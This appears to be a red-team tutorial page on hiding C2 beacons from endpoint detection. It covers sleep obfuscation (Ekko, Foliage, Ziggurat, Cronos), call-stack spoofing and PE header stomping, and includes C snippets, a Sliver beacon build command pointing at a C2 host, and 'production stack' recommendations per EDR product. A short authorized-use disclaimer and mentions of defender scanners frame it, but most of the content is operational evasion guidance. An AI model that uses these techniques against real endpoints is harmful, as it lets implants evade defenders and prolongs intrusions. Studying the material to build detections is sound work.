sleep-stack-evasion

04 — Sleep Stack Evasion

BLUF: Between beacon check-ins, your shellcode sits idle in memory — and modern EDRs like CrowdStrike Falcon and MDE scan memory continuously, not just at execution time. Sleep obfuscation encrypts the beacon's own memory region while it sleeps so memory scanners find ciphertext, not shellcode. Stack spoofing replaces the suspicious call stack frames that would betray where in memory the beacon lives. Together they close the two primary in-memory detection windows that survive even perfect injection and syscall evasion.

Note

Sections

  1. The Memory Scanner Problem · 2. Sleep Obfuscation — Mechanisms · 3. Ekko (ROP-based) · 4. Foliage (APC-based) · 5. Ziggurat (combined) · 6. Cronos (timer-based) · 7. Stack Spoofing — Mechanisms · 8. SilentMoonwalk · 9. CallStackMasker · 10. PE Header Stomping · 11. Lab Validation · 12. Quick-Reference Cheat Sheet
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

graph TB
    Idle([Beacon Sleeping]) --> MemScan[EDR Memory Scanner]
    MemScan --> |finds shellcode| Alert1[ALERT: Suspicious Memory]
    MemScan --> |finds call stack frame in shellcode region| Alert2[ALERT: Suspicious Thread]

    SleepObf[Sleep Obfuscation] --> |encrypts beacon memory before sleep| MemScan2[EDR Memory Scanner]
    MemScan2 --> |sees ciphertext| NoAlert1[No Signal]

    StackSpoof[Stack Spoofing] --> |replaces shellcode frames| MemScan3[EDR Thread Inspection]
    MemScan3 --> |sees ntdll/kernel32 frames| NoAlert2[No Signal]

    style Alert1 fill:#cc0000,color:#ffffff
    style Alert2 fill:#cc0000,color:#ffffff
    style NoAlert1 fill:#006600,color:#ffffff
    style NoAlert2 fill:#006600,color:#ffffff

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1497.003 Time Based Evasion Defense Evasion Sleep obfuscation timing
T1055 Process Injection Defense Evasion Shellcode lives in injected process
T1027 Obfuscated Files or Information Defense Evasion PE header stomping in-memory to evade scanners
T1620 Reflective Code Loading Defense Evasion Reflective DLL + post-load header stomp
T1036 Masquerading Defense Evasion Call stack masquerading as ntdll threads

Section 1 — The Memory Scanner Problem

Modern EDRs run memory scanning on two schedules:

  1. At execution triggers — new thread, APC queued, DLL loaded
  2. Periodic background scans — continuously, usually every 30–120 seconds

Even if your injection is flawless — indirect syscalls, no suspicious API sequences — the idle beacon in memory is a static artifact that scanners hunt:

What the Scanner Finds Why It's Detected
MZ/PE headers in [MEM_PRIVATE] pages No DLL on disk backs this memory — clear injection indicator
Shellcode YARA patterns Sliver/Cobalt Strike/Havoc have known byte sequences even with obfuscation
Reflective loader code ReflectiveDLL's ReflectiveLoader function has recognizable patterns
RWX or RX memory not backed by a mapped file Normal code lives in [MEM_IMAGE] pages; shellcode sits in [MEM_PRIVATE]
Thread call stack pointing into private memory Legitimate threads have call stacks rooted in ntdll.dll or kernel32.dll

Tools used by defenders: pe-sieve, Moneta, Hunt-Sleeping-Beacons, CrowdStrike Falcon memory scanner, Elastic Defend memory threat detection.


Section 2 — Sleep Obfuscation: The Core Mechanism

The pattern for all sleep obfuscation techniques is the same:

1. Before sleeping:
   a. Encrypt beacon memory region (AES or XOR key known only to beacon)
   b. Optionally: change memory protection from RX → RW (no longer executable)
   c. Spoof call stack (see Section 7)

2. Sleep for the desired interval

3. On waking:
   a. Decrypt beacon memory region
   b. Restore memory protection to RX
   c. Resume execution from the saved instruction pointer

The challenge: who drives the encrypt-sleep-decrypt cycle? You can't do it from within the beacon (it would be sleeping). The answer is using Windows async mechanisms: ROP gadgets, APC chains, or timer callbacks.


Section 3 — Ekko (ROP-based)

Ekko uses ROP (Return-Oriented Programming) gadgets to drive the encrypt-sleep-decrypt cycle. No new threads are created, no APCs are queued to the beacon thread — the operation runs through the existing Windows timer/APC infrastructure.

Repository: github.com/Cracked5pider/Ekko

How Ekko Works

// Ekko mechanism (simplified):

// 1. Create an event for synchronization
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

// 2. Set up a ROP chain using RtlCreateTimer
//    The timer fires APCs on the thread pool, which:
//    a. RtlCaptureContext — save current CPU context
//    b. VirtualProtect    — change beacon region to RW (not executable)
//    c. SystemFunction032 — RC4 encrypt the beacon memory region
//    d. WaitForSingleObject — sleep the desired interval
//    e. SystemFunction032 — RC4 decrypt the beacon memory region
//    f. VirtualProtect    — restore RX protection
//    g. RtlRestoreContext — resume beacon execution

// 3. The key insight: SystemFunction032 is a legitimate Windows export
//    in advapi32.dll that performs RC4 encryption — no custom crypto code needed
//    This avoids suspicious memory writes from obvious crypto implementations

HANDLE hTimerQueue = CreateTimerQueue();
// Queue each ROP step as a timer callback with increasing delays
RtlCreateTimer(hTimerQueue, &timer1, RtlCaptureContext_addr, ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
RtlCreateTimer(hTimerQueue, &timer2, VirtualProtect_addr, args, 100, 0, WT_EXECUTEINTIMERTHREAD);
RtlCreateTimer(hTimerQueue, &timer3, SystemFunction032_addr, &key, 200, 0, WT_EXECUTEINTIMERTHREAD);
// ...

Integrating Ekko with a Sliver Custom Loader

// In your shellcode loader, before calling the beacon entry point,
// patch the beacon's sleep function to call Ekko instead of WinAPI Sleep()

// Step 1: Compile Ekko as a position-independent shellcode (PIC)
//         Use the Ekko repo's Makefile: make -> ekko.bin

// Step 2: Inject Ekko before the beacon — load it into the same process
//         Ekko intercepts the Sleep() call via inline hook or by wrapping the beacon loop

// Step 3: In Sliver, use an external builder + artifact kit to replace the default
//         sleep with an Ekko-patched version:
sliver > generate beacon --os windows --arch amd64 --format shellcode \
    --external-builder \
    --https C2_IP:443 --seconds 300 --jitter 45
# Then post-process the shellcode with your Ekko wrapper before delivery

OPSEC: Ekko's RC4 key lives in memory during decryption. A memory snapshot at exactly the wrong moment could expose it. For higher assurance, use AES-256 via BCryptEncrypt instead of SystemFunction032. Ziggurat (Section 5) implements this.


Section 4 — Foliage (APC-based)

Foliage achieves sleep obfuscation using Asynchronous Procedure Calls (APCs) instead of ROP chains. Conceptually simpler, slightly noisier.

Repository: github.com/SecIdiot/FOLIAGE

// Foliage mechanism:

// 1. Queue APC to encrypt beacon region
QueueUserAPC((PAPCFUNC)VirtualProtect, GetCurrentThread(), /* RW args */);
QueueUserAPC((PAPCFUNC)EncryptBeacon, GetCurrentThread(), (ULONG_PTR)&key);

// 2. Enter alertable sleep (APCs execute during alertable wait)
SleepEx(sleepInterval, TRUE);   // TRUE = alertable — APCs execute here

// 3. APCs queued to decrypt fire when beacon wakes
QueueUserAPC((PAPCFUNC)DecryptBeacon, GetCurrentThread(), (ULONG_PTR)&key);
QueueUserAPC((PAPCFUNC)VirtualProtect, GetCurrentThread(), /* RX args */);
SleepEx(0, TRUE);   // Flush decrypt APCs

Foliage vs Ekko:

Ekko Foliage
Mechanism ROP chains via timer queue APC chains
Complexity Higher Lower
Stealth vs. APC monitors Better (no QueueUserAPC on beacon thread) Weaker — QueueUserAPC visible
Compatibility Sliver, Cobalt Strike, custom Cobalt Strike (UDRL), custom
Recommended for CrowdStrike Falcon Lower-tier EDRs

Ziggurat combines sleep obfuscation + stack spoofing + AES encryption in a single, cohesive implementation. It is the current highest-assurance approach for mature EDR environments.

Repository: github.com/0xEr3bus/Ziggurat

// Ziggurat implements:
// 1. AES-256 encryption of beacon memory region (not RC4)
// 2. Stack spoofing via synthetic call frames (before sleep)
// 3. Memory protection cycling (RX → RW during sleep → RX on wake)
// 4. Compatible with Cobalt Strike UDRL and custom loaders

// Integration with Cobalt Strike:
// - Use as a Sleep Mask replacement (Cobalt Strike 4.5+)
// - Copy Ziggurat's sleep mask files to your artifact kit
// - In Malleable profile: set sleep_mask "true";

// Integration with custom loaders:
// - Call Ziggurat's ZigguratSleep() instead of Sleep()
// - It handles encryption, stack spoofing, and wake-up internally

Section 6 — Cronos (Timer-based, No Threads)

Cronos avoids both ROP chains and APCs. It uses Windows Timer Queue timers to drive the encrypt/sleep/decrypt cycle, with no APC queuing on the beacon thread.

Repository: github.com/Idov31/Cronos

// Cronos advantage: no APC-on-beacon-thread activity
// No QueueUserAPC calls visible to EDR APC monitoring

// Mechanism:
// 1. CreateTimerQueueTimer → fires callback to encrypt + VirtualProtect(RW)
// 2. Second timer fires to VirtualProtect(RX) + decrypt + signal event
// 3. Beacon waits on the event using WaitForSingleObject (not SleepEx — not alertable)

// The beacon's thread shows WaitForSingleObject in the call stack
// during sleep — which looks like any normal synchronization operation

Section 7 — Stack Spoofing: The Core Mechanism

When an EDR inspects a sleeping thread, it walks the call stack. A legitimate thread sleeping looks like:

ntdll.dll!ZwWaitForSingleObject+0x14
kernel32.dll!WaitForSingleObjectEx+0x8f
kernel32.dll!WaitForSingleObject+0x12
YourApp.exe!main+0x3c
kernel32.dll!BaseThreadInitThunk+0x10
ntdll.dll!RtlUserThreadStart+0x2b

A beacon thread sleeping without stack spoofing looks like:

ntdll.dll!ZwWaitForSingleObject+0x14
kernel32.dll!WaitForSingleObjectEx+0x8f
0x1a3f00000000+0x4a3        <-- UNBACKED MEMORY — FLAGGED
0x1a3f00000000+0x890        <-- UNBACKED MEMORY — FLAGGED

Stack spoofing replaces those unbacked frames with realistic ntdll/kernel32 frames before the thread enters its wait state.


Section 8 — SilentMoonwalk

SilentMoonwalk is the most sophisticated stack spoofer available. Instead of simply overwriting return addresses, it walks the RUNTIME_FUNCTION unwind data of ntdll and kernel32 to synthesize a completely plausible call chain.

Repository: github.com/klezVirus/SilentMoonwalk

// SilentMoonwalk approach:
// 1. Walk the RUNTIME_FUNCTION table of ntdll.dll and kernel32.dll
//    to understand the valid call stack shapes
// 2. Select a plausible "sleeping thread" profile:
//    e.g., a worker thread waiting in NtWaitForWorkViaWorkerFactory
// 3. Synthesize RSP, RBP, and return address values that exactly match
//    the expected unwind state for that profile
// 4. Set these values on the beacon thread's stack before entering wait

// Usage with Cobalt Strike (UDRL/BOF):
// beacon> inline-execute SilentMoonwalk.o
// Patches the sleep mask to use SilentMoonwalk's stack synthesis

// Compatible profiles (choose based on injection target):
// - "Worker Thread" (svchost.exe worker threads)
// - "COM Thread" (dllhost.exe COM threads)
// - "Network Thread" (iexplore.exe / Edge background workers)

Section 9 — CallStackMasker

Simpler than SilentMoonwalk. Overwrites return addresses on the existing stack rather than synthesizing a new one. Faster to integrate, effective against most EDRs that don't do deep unwind validation.

Repository: github.com/mgeeky/CallStackMasker

// CallStackMasker integration:

// 1. Before sleeping: call MaskCallStack()
//    - Saves real return addresses
//    - Overwrites them with addresses from ntdll/kernel32
//    - Stored on heap for restoration

MaskCallStack();
Sleep(interval);      // or SleepEx / WaitForSingleObject

// 2. After waking: call UnmaskCallStack()
//    - Restores real return addresses
//    - Beacon resumes normally

UnmaskCallStack();

// Limitation: does NOT fix unwind data.
// Under deep inspection (WinDbg !thread or CrowdStrike Falcon's advanced heuristics),
// the synthesized frames may not unwind correctly.
// Use SilentMoonwalk for environments with aggressive call stack validation.

Section 10 — PE Header Stomping

After reflective injection, the beacon's PE headers (MZ, PE, section table) remain in memory. Memory scanners specifically look for MZ bytes in non-image-mapped memory.

// Stomp PE headers immediately after the reflective loader finishes:

PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)baseAddress + pDosHdr->e_lfanew);

// Calculate header size
DWORD headerSize = pNtHdr->OptionalHeader.SizeOfHeaders;

// Make headers writable
DWORD oldProtect;
VirtualProtect(baseAddress, headerSize, PAGE_READWRITE, &oldProtect);

// Overwrite with zeros (or random bytes for better entropy blending)
SecureZeroMemory(baseAddress, headerSize);

// Restore protection
VirtualProtect(baseAddress, headerSize, oldProtect, &oldProtect);

// After stomping: pe-sieve and Moneta will no longer find MZ/PE headers
// The beacon continues to execute normally — headers are only needed at load time

OPSEC: Stomp headers BEFORE enabling sleep obfuscation. The encrypt-decrypt cycle operates on the full beacon region including headers. If you stomp after setting up Ekko/Ziggurat, the decrypted region will look correct but the stomp happens too late to matter on first scan.


Section 11 — Lab Validation Procedure

Goal: Confirm memory scanner cannot find the beacon during sleep window.

Setup

Target VM: Windows 11 22H2 + CrowdStrike Falcon free trial or Elastic Defend
Tools on target VM: pe-sieve64.exe, Moneta64.exe, Hunt-Sleeping-Beacons.exe
Attacker VM: Sliver / Havoc C2 with custom loader using Ekko + stack spoofing

Test 1 — Baseline (no sleep obfuscation)

# Inject beacon (no sleep obf)
# Wait for beacon to enter sleep
# On target VM, as administrator:
.\pe-sieve64.exe /pid <beacon_pid> /shellc 1 /imp 3
# Expected: FOUND — shellcode detected in private memory

.\Moneta64.exe --pid <beacon_pid>
# Expected: RX private memory region flagged

Get-Process | Where-Object { $_.Id -eq <beacon_pid> } | Format-List *
# Note the beacon process name

Test 2 — With Sleep Obfuscation (Ekko)

# Inject beacon with Ekko-enabled loader
# Wait for beacon to enter sleep (verify via C2 — no tasking response)
.\pe-sieve64.exe /pid <beacon_pid> /shellc 1 /imp 3
# Expected: NOTHING FOUND — memory is encrypted ciphertext

.\Moneta64.exe --pid <beacon_pid>
# Expected: Memory region may still appear but no recognizable patterns

.\Hunt-Sleeping-Beacons.exe
# Expected: Beacon not listed OR listed with no active sleep hooks found

Test 3 — Call Stack Validation

# During sleep, attach WinDbg to the beacon process:
windbg -p <beacon_pid>
# In WinDbg:
~*k        # Show all thread call stacks

# Without stack spoofing: one thread shows unbacked frames
# With SilentMoonwalk/Ziggurat: all threads show clean ntdll/kernel32 frames

Test 4 — EDR Console Check

After running Tests 1–3:
Check CrowdStrike Falcon console / Elastic SIEM for any alerts
Compare baseline alerts vs. evasion alerts

Success criteria:
  - 0 "Suspicious Memory" alerts during sleep window
  - 0 "Suspicious Thread" alerts
  - Beacon still responds to tasking after waking up

Section 12 — Quick-Reference Cheat Sheet

# Tool Summary
# Ekko      — ROP-based sleep obf + RC4 encrypt   github.com/Cracked5pider/Ekko
# Foliage   — APC-based sleep obf                 github.com/SecIdiot/FOLIAGE
# Ziggurat  — AES sleep obf + stack spoof (best)  github.com/0xEr3bus/Ziggurat
# Cronos    — Timer-based, no APC on beacon thread github.com/Idov31/Cronos
# SilentMoonwalk — Synthetic stack via unwind data github.com/klezVirus/SilentMoonwalk
# CallStackMasker — Simple return addr overwrite   github.com/mgeeky/CallStackMasker
# pe-sieve  — Lab memory scanner (defender tool)  github.com/hasherezade/pe-sieve
# Moneta    — Hunting unbacked memory regions      github.com/forrest-orr/Moneta
# Hunt-Sleeping-Beacons — Timer/APC beacon hunt   github.com/thefLink/Hunt-Sleeping-Beacons

# Recommended production stack (CrowdStrike Falcon environment):
# 1. Indirect syscalls (SysWhispers3) for injection
# 2. PE header stomp immediately post-load
# 3. Ziggurat for sleep obfuscation + stack spoofing
# 4. Inject into svchost.exe -k netsvcs (network-connected, long-lived)

# Recommended production stack (lighter EDR / MDE):
# 1. Direct syscalls (SysWhispers2) sufficient
# 2. Ekko for sleep obfuscation
# 3. CallStackMasker for stack cleanup
# 4. PE header stomp

Decision Matrix:

EDR Product Min Required Sleep Obf Min Required Stack Spoof
Windows Defender (basic) Ekko CallStackMasker
MDE (E5/Defender for Endpoint) Ekko or Foliage SilentMoonwalk
SentinelOne Ziggurat Ziggurat built-in
CrowdStrike Falcon (default policy) Ziggurat SilentMoonwalk
CrowdStrike Falcon (aggressive policy) Ziggurat + Cronos (no APC) SilentMoonwalk + unwind validation
Elastic Defend Ekko CallStackMasker

Part of the Red Teaming 101 series. Parent: P6 — EDR Bypass & Evasion · See also: Syscall Evasion Deep Dive